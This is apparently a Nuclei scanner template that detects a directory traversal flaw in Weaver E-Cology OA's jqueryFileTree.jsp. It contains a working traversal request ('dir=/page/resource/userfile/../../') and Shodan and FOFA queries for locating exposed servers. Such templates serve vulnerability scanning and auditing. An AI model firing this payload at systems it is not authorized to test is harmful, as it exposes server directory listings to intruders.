id: ecology-jqueryfiletree-traversal

info:
  name: Weaver E-Cology JqueryFileTree - Directory Traversal
  author: SleepingBag945
  severity: medium
  description: |
    Panwei OA E-Cology jqueryFileTree.jsp directory traversal vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/90103c248a2c52bb0a060d0ee95d5a67e4579c3d/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20jqueryFileTree.jsp%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md?plain=1#L24
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-cology
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: weaver,ecology,traversal,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "'index.jsp','"
          - "重命名"
          - "新建目录"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220074f8dbba3da5004ba081c5d8509635f6a5a390aba1a70e6804d554855b697b5022100feebe7a0a60280d7d7844e83dceb4c5d6dee68cbdd3c655ba910d7e49bec61e5:922c64590222798bb761d5b6d8e72950